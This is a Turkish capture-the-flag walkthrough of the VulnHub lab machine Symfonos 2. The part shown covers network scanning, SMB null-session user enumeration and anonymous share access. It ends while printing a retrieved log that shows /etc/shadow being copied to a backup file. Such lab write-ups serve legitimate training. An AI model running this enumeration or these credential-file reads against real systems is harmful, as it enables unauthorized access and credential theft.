Makine Hakkında Bilgiler
Açıklama:
OSCP-like Intermediate real life based machine designed to teach the importance of understanding a vulnerability. SHOULD work for both VMware and Virtualbox.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/symfonos-2,331/
İndirme Sayfası:
https://download.vulnhub.com/symfonos/symfonos2.7z
Walkthrough
Makineyi tespit ederek başlayalım.
┌──(root💀kali)-[~]
└─# arp-scan -l | grep 02:b1
192.168.31.111 08:00:27:39:02:b1 PCS Systemtechnik GmbH
┌──(root💀kali)-[~]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.31.102 netmask 255.255.255.0 broadcast 192.168.31.255
inet6 fe80::a00:27ff:fef2:f7d9 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:f2:f7:d9 txqueuelen 1000 (Ethernet)
RX packets 93 bytes 11558 (11.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1035 bytes 63136 (61.6 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
nmap taraması ile devam edelim.
┌──(root💀kali)-[~]
└─# nmap -p- -A -T4 192.168.31.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 11:52 EDT
Nmap scan report for symfonos2 (192.168.31.111)
Host is up (0.00096s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)
| 256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)
|_ 256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)
80/tcp open http WebFS httpd 1.21
|_http-server-header: webfs/1.21
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:39:02:B1 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 4h40m00s, deviation: 2h53m12s, median: 3h00m00s
|_nbstat: NetBIOS name: SYMFONOS2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos2
| NetBIOS computer name: SYMFONOS2\x00
| Domain name: \x00
| FQDN: symfonos2
|_ System time: 2021-06-25T13:53:06-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-25T18:53:06
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 0.96 ms symfonos2 (192.168.31.111)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.30 seconds
ProFTPD 1.3.5 sürümü ile ilgili aslında exploitler buldum ancak bunları exploit edemedim. Bunun üzerine smb'ya bakmaya başladım.
┌──(root💀kali)-[~]
└─# enum4linux -a 192.168.31.111
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jun 25 12:00:47 2021
==========================
| Target Information |
==========================
Target ........... 192.168.31.111
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
======================================================
| Enumerating Workgroup/Domain on 192.168.31.111 |
======================================================
[+] Got domain/workgroup name: WORKGROUP
==============================================
| Nbtstat Information for 192.168.31.111 |
==============================================
Looking up status of 192.168.31.111
SYMFONOS2 <00> - B <ACTIVE> Workstation Service
SYMFONOS2 <03> - B <ACTIVE> Messenger Service
SYMFONOS2 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
=======================================
| Session Check on 192.168.31.111 |
=======================================
[+] Server 192.168.31.111 allows sessions using username '', password ''
=============================================
| Getting domain SID for 192.168.31.111 |
=============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
========================================
| OS information on 192.168.31.111 |
========================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 192.168.31.111 from smbclient:
[+] Got OS info for 192.168.31.111 from srvinfo:
SYMFONOS2 Wk Sv PrQ Unx NT SNT Samba 4.5.16-Debian
platform_id : 500
os version : 6.1
server type : 0x809a03
===============================
| Users on 192.168.31.111 |
===============================
Use of uninitialized value $users in print at ./enum4linux.pl line 874.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 877.
Use of uninitialized value $users in print at ./enum4linux.pl line 888.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 890.
===========================================
| Share Enumeration on 192.168.31.111 |
===========================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.31.111
//192.168.31.111/print$ Mapping: DENIED, Listing: N/A
//192.168.31.111/anonymous Mapping: OK, Listing: OK
//192.168.31.111/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
======================================================
| Password Policy Information for 192.168.31.111 |
======================================================
[+] Attaching to 192.168.31.111 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] SYMFONOS2
[+] Builtin
[+] Password Info for Domain: SYMFONOS2
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
================================
| Groups on 192.168.31.111 |
================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=========================================================================
| Users on 192.168.31.111 via RID cycling (RIDS: 500-550,1000-1050) |
=========================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-629329663-2933547119-2337616968
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown*\*unknown* (8)
S-1-5-32-501 *unknown*\*unknown* (8)
S-1-5-32-502 *unknown*\*unknown* (8)
S-1-5-32-503 *unknown*\*unknown* (8)
S-1-5-32-504 *unknown*\*unknown* (8)
S-1-5-32-505 *unknown*\*unknown* (8)
S-1-5-32-506 *unknown*\*unknown* (8)
S-1-5-32-507 *unknown*\*unknown* (8)
S-1-5-32-508 *unknown*\*unknown* (8)
S-1-5-32-509 *unknown*\*unknown* (8)
S-1-5-32-510 *unknown*\*unknown* (8)
S-1-5-32-511 *unknown*\*unknown* (8)
S-1-5-32-512 *unknown*\*unknown* (8)
S-1-5-32-513 *unknown*\*unknown* (8)
S-1-5-32-514 *unknown*\*unknown* (8)
S-1-5-32-515 *unknown*\*unknown* (8)
S-1-5-32-516 *unknown*\*unknown* (8)
S-1-5-32-517 *unknown*\*unknown* (8)
S-1-5-32-518 *unknown*\*unknown* (8)
S-1-5-32-519 *unknown*\*unknown* (8)
S-1-5-32-520 *unknown*\*unknown* (8)
S-1-5-32-521 *unknown*\*unknown* (8)
S-1-5-32-522 *unknown*\*unknown* (8)
S-1-5-32-523 *unknown*\*unknown* (8)
S-1-5-32-524 *unknown*\*unknown* (8)
S-1-5-32-525 *unknown*\*unknown* (8)
S-1-5-32-526 *unknown*\*unknown* (8)
S-1-5-32-527 *unknown*\*unknown* (8)
S-1-5-32-528 *unknown*\*unknown* (8)
S-1-5-32-529 *unknown*\*unknown* (8)
S-1-5-32-530 *unknown*\*unknown* (8)
S-1-5-32-531 *unknown*\*unknown* (8)
S-1-5-32-532 *unknown*\*unknown* (8)
S-1-5-32-533 *unknown*\*unknown* (8)
S-1-5-32-534 *unknown*\*unknown* (8)
S-1-5-32-535 *unknown*\*unknown* (8)
S-1-5-32-536 *unknown*\*unknown* (8)
S-1-5-32-537 *unknown*\*unknown* (8)
S-1-5-32-538 *unknown*\*unknown* (8)
S-1-5-32-539 *unknown*\*unknown* (8)
S-1-5-32-540 *unknown*\*unknown* (8)
S-1-5-32-541 *unknown*\*unknown* (8)
S-1-5-32-542 *unknown*\*unknown* (8)
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)
S-1-5-32-1001 *unknown*\*unknown* (8)
S-1-5-32-1002 *unknown*\*unknown* (8)
S-1-5-32-1003 *unknown*\*unknown* (8)
S-1-5-32-1004 *unknown*\*unknown* (8)
S-1-5-32-1005 *unknown*\*unknown* (8)
S-1-5-32-1006 *unknown*\*unknown* (8)
S-1-5-32-1007 *unknown*\*unknown* (8)
S-1-5-32-1008 *unknown*\*unknown* (8)
S-1-5-32-1009 *unknown*\*unknown* (8)
S-1-5-32-1010 *unknown*\*unknown* (8)
S-1-5-32-1011 *unknown*\*unknown* (8)
S-1-5-32-1012 *unknown*\*unknown* (8)
S-1-5-32-1013 *unknown*\*unknown* (8)
S-1-5-32-1014 *unknown*\*unknown* (8)
S-1-5-32-1015 *unknown*\*unknown* (8)
S-1-5-32-1016 *unknown*\*unknown* (8)
S-1-5-32-1017 *unknown*\*unknown* (8)
S-1-5-32-1018 *unknown*\*unknown* (8)
S-1-5-32-1019 *unknown*\*unknown* (8)
S-1-5-32-1020 *unknown*\*unknown* (8)
S-1-5-32-1021 *unknown*\*unknown* (8)
S-1-5-32-1022 *unknown*\*unknown* (8)
S-1-5-32-1023 *unknown*\*unknown* (8)
S-1-5-32-1024 *unknown*\*unknown* (8)
S-1-5-32-1025 *unknown*\*unknown* (8)
S-1-5-32-1026 *unknown*\*unknown* (8)
S-1-5-32-1027 *unknown*\*unknown* (8)
S-1-5-32-1028 *unknown*\*unknown* (8)
S-1-5-32-1029 *unknown*\*unknown* (8)
S-1-5-32-1030 *unknown*\*unknown* (8)
S-1-5-32-1031 *unknown*\*unknown* (8)
S-1-5-32-1032 *unknown*\*unknown* (8)
S-1-5-32-1033 *unknown*\*unknown* (8)
S-1-5-32-1034 *unknown*\*unknown* (8)
S-1-5-32-1035 *unknown*\*unknown* (8)
S-1-5-32-1036 *unknown*\*unknown* (8)
S-1-5-32-1037 *unknown*\*unknown* (8)
S-1-5-32-1038 *unknown*\*unknown* (8)
S-1-5-32-1039 *unknown*\*unknown* (8)
S-1-5-32-1040 *unknown*\*unknown* (8)
S-1-5-32-1041 *unknown*\*unknown* (8)
S-1-5-32-1042 *unknown*\*unknown* (8)
S-1-5-32-1043 *unknown*\*unknown* (8)
S-1-5-32-1044 *unknown*\*unknown* (8)
S-1-5-32-1045 *unknown*\*unknown* (8)
S-1-5-32-1046 *unknown*\*unknown* (8)
S-1-5-32-1047 *unknown*\*unknown* (8)
S-1-5-32-1048 *unknown*\*unknown* (8)
S-1-5-32-1049 *unknown*\*unknown* (8)
S-1-5-32-1050 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\aeolus (Local User)
S-1-22-1-1001 Unix User\cronus (Local User)
[+] Enumerating users using SID S-1-5-21-629329663-2933547119-2337616968 and logon username '', password ''
S-1-5-21-629329663-2933547119-2337616968-500 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-501 SYMFONOS2\nobody (Local User)
S-1-5-21-629329663-2933547119-2337616968-502 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-503 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-504 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-505 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-506 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-507 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-508 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-509 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-510 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-511 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-512 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-513 SYMFONOS2\None (Domain Group)
S-1-5-21-629329663-2933547119-2337616968-514 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-515 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-516 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-517 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-518 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-519 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-520 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-521 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-522 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-523 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-524 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-525 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-526 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-527 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-528 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-529 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-530 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-531 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-532 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-533 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-534 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-535 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-536 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-537 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-538 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-539 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-540 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-541 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-542 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-543 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-544 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-545 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-546 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-547 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-548 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-549 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-550 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1000 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1001 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1002 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1003 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1004 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1005 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1006 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1007 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1008 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1009 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1010 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1011 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1012 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1013 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1014 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1015 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1016 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1017 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1018 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1019 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1020 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1021 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1022 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1023 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1024 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1025 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1026 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1027 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1028 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1029 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1030 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1031 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1032 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1033 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1034 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1035 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1036 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1037 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1038 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1039 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1040 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1041 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1042 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1043 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1044 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1045 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1046 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1047 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1048 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1049 *unknown*\*unknown* (8)
S-1-5-21-629329663-2933547119-2337616968-1050 *unknown*\*unknown* (8)
===============================================
| Getting printer info for 192.168.31.111 |
===============================================
No printers returned.
enum4linux complete on Fri Jun 25 12:01:28 2021
Harika local kullanıclar tespit eetik ve paylaşıma açılmış bir bölüm var.
┌──(root💀kali)-[~/oscp/symfonos2]
└─# echo aeolus >> users
┌──(root💀kali)-[~/oscp/symfonos2]
└─# echo cronus >> users
Şimdi paylaşılan klasöre girelim.
┌──(root💀kali)-[~/oscp/symfonos2]
└─# smbmap -H 192.168.31.111
[+] Guest session IP: 192.168.31.111:445 Name: 192.168.31.111
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
┌──(root💀kali)-[~/oscp/symfonos2]
└─# smbclient //192.168.31.111/anonymous -u ""
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Jul 18 10:30:09 2019
.. D 0 Thu Jul 18 10:29:08 2019
backups D 0 Thu Jul 18 10:25:17 2019
19728000 blocks of size 1024. 16314076 blocks available
smb: \> cd backups\
smb: \backups\> ls
. D 0 Thu Jul 18 10:25:17 2019
.. D 0 Thu Jul 18 10:30:09 2019
log.txt N 11394 Thu Jul 18 10:25:16 2019
19728000 blocks of size 1024. 16314076 blocks available
smb: \backups\> get log.txt
getting file \backups\log.txt of size 11394 as log.txt (2781.7 KiloBytes/sec) (average 2781.7 KiloBytes/sec)
smb: \backups\> exit
┌──(root💀kali)-[~/oscp/symfonos2]
└─# cat log.txt
root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
root@symfonos2:~# cat /etc/samba/smb.conf
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
# - When such options are commented with ";", the proposed setting
# differs from the default Samba behaviour
# - When commented with "#", the proposed setting is the default
# behaviour of Samba but the option is considered important
# enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# "testparm" to check that you have not made any basic syntactic
# errors.
#======================= Global Settings =======================
[global]
## Browsing/Identification ###
# Change this to the workgroup/NT-domain name your Samba server will part of
workgroup = WORKGROUP
# Windows Internet Name Serving Support Section:
# WINS Support - Tells the NMBD component of Samba to enable its WINS Server
# wins support = no
# WINS Server - Tells the NMBD components of Samba to be a WINS Client
# Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
; wins server = w.x.y.z
# This will prevent nmbd to search for NetBIOS names through DNS.
dns proxy = no
#### Networking ####
# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
; interfaces = 127.0.0.0/8 eth0
# Only bind to the named interfaces and/or networks; you must use the
# 'interfaces' option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself. However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
; bind interfaces only = yes
#### Debugging/Accounting ####
# This tells Samba to use a separate log file for each machine
# that connects
log file = /var/log/samba/log.%m
# Cap the size of the individual log files (in KiB).
max log size = 1000
# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
# syslog only = no
# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
syslog = 0
# Do something sensible when Samba crashes: mail the admin a backtrace
panic action = /usr/share/samba/panic-action %d
####### Authentication #######
# Server role. Defines in which mode Samba will operate. Possible
# values are "standalone server", "member server", "classic primary
# domain controller", "classic backup domain controller", "active
# directory domain controller".
#
# Most people will want "standalone sever" or "member server".
# Running as "active directory domain controller" will require first
# running "samba-tool domain provision" to wipe databases and create a
# new domain.
server role = standalone server
# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
passdb backend = tdbsam
obey pam restrictions = yes
# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
unix password sync = yes
# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<[email protected]> for
# sending the correct chat script for the passwd program in Debian Sarge).
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
# This boolean controls whether PAM will be used for password changes
# when requested by an SMB client instead of the program listed in
# 'passwd program'. The default is 'no'.
pam password change = yes
# This option controls how unsuccessful authentication attempts are mapped
# to anonymous connections
map to guest = bad user
########## Domains ###########
#
# The following settings only takes effect if 'server role = primary
# classic domain controller', 'server role = backup domain controller'
# or 'domain logons' is set
#
# It specifies the location of the user's
# profile directory from the client point of view) The following
# required a [profiles] share to be setup on the samba server (see
# below)
; logon path = \\%N\profiles\%U
# Another common choice is storing the profile in the user's home directory
# (this is Samba's default)
# logon path = \\%N\%U\profile
# The following setting only takes effect if 'domain logons' is set
# It specifies the location of a user's home directory (from the client
# point of view)
; logon drive = H:
# logon home = \\%N\%U
# The following setting only takes effect if 'domain logons' is set
# It specifies the script to run during logon. The script must be stored
# in the [netlogon] share
# NOTE: Must be store in 'DOS' file format convention
; logon script = logon.cmd
# This allows Unix users to be created on the domain controller via the SAMR
# RPC pipe. The example command creates a user account with a disabled Unix
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u
# This allows machine accounts to be created on the domain controller via the
# SAMR RPC pipe.
# The following assumes a "machines" group exists on the system
; add machine script = /usr/sbin/useradd -g machines -c "%u machine account" -d /var/lib/samba -s /bin/false %u
# This allows Unix groups to be created on the domain controller via the SAMR
# RPC pipe.
; add group script = /usr/sbin/addgroup --force-badname %g
############ Misc ############
# Using the following line enables you to customise your configuration
# on a per machine basis. The %m gets replaced with the netbios name
# of the machine that is connecting
; include = /home/samba/etc/smb.conf.%m
# Some defaults for winbind (make sure you're not using the ranges
# for something else.)
; idmap uid = 10000-20000
; idmap gid = 10000-20000
; template shell = /bin/bash
# Setup usershare options to enable non-root users to share folders
# with the net usershare command.
# Maximum number of usershare. 0 (default) means that usershare is disabled.
; usershare max shares = 100
# Allow users who've been granted usershare privileges to create
# public shares, not just authenticated ones
usershare allow guests = yes
#======================= Share Definitions =======================
[homes]
comment = Home Directories
browseable = no
# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
read only = yes
# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
create mask = 0700
# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
directory mask = 0700
# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# The following parameter makes sure that only "username" can connect
# to \\server\username
# This might need tweaking when using external authentication schemes
valid users = %S
# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
; comment = Network Logon Service
; path = /home/samba/netlogon
; guest ok = yes
; read only = yes
# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
; comment = Users profiles
; path = /home/samba/profiles
; guest ok = no
; browseable = no
; create mask = 0600
; directory mask = 0700
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700
# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
[anonymous]
path = /home/aeolus/share
browseable = yes
read only = yes
guest ok = yes
root@symfonos2:~# cat /usr/local/etc/proftpd.conf
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
# Port 21 is the standard FTP port.
Port 21
# Don't use IPv6 support by default.
UseIPv6 off
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask 022
# To prevent DoS attacks, set the maximum number of child processes
# to 30. If you need to allow more than 30 concurrent connections
# at once, simply increase this value. Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances 30
# Set the user and group under which the server will run.
User aeolus
Group aeolus
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
AllowOverwrite on
# Bar use of SITE CHMOD by default
<Limit SITE_CHMOD>
DenyAll
</Limit>
